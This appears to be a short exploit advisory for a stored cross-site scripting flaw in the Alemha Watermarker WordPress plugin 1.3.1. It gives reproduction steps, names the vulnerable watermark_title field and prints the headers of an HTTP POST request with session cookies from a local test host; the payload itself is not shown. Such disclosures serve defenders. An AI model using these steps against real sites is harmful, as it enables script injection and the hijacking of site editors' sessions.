WordPress Alemha Watermarker plugin version 1.3.1 suffers from a persistent cross site scripting vulnerability.
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# Exploit Title: Wordpress Plugin Alemha Watermarker 1.3.1 - Stored Cross-Site Scripting (XSS)
# Date: 22 March 2024
# Exploit Author: Erdemstar
# Vendor: https://wordpress.com/
# Version: 1.3.1
# Proof Of Concept:
1. Click Add New Watermark and enter the XSS payload into the Watermark Text.
2. Stored XSS will run on anyone who wants to edit this page.
# Vulnerable Property: watermark_title
# PoC Video: https://youtu.be/XEe0Sno6e2g?si=mcgO6VbAwymGXcCp
# Request:
POST /wp-admin/post.php HTTP/2
Host: erdemstar.local
Cookie: wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=Attacker%7C1711297520%7CVlz1u8etD9HWW066CNCiUHaGUmSK3WLtvpSKgHVMtzP%7C50573cb574c70a41a241cb9f1f1e3ff22f539fc8630599f2503d02a6c1a7e678; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wp-settings-time-4=1711124335; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=Attacker%7C1711297520%7CVlz1u8etD9HWW066CNCiUHaGUmSK3WLtvpSKgHVMtzP%7Cdae14d9d9aa7f0c4df03783bb2bd321a5b3d6a63d8c3e1ae131dda689c595862; wp-settings-time-5=1711124723
Content-Length: 1460
Upgrade-Insecure-Requests: 1
Origin: https://erdemstar.local
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://erdemstar.local/wp-admin/post-new.php?post_type=watermark&wp-post-new-reload=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
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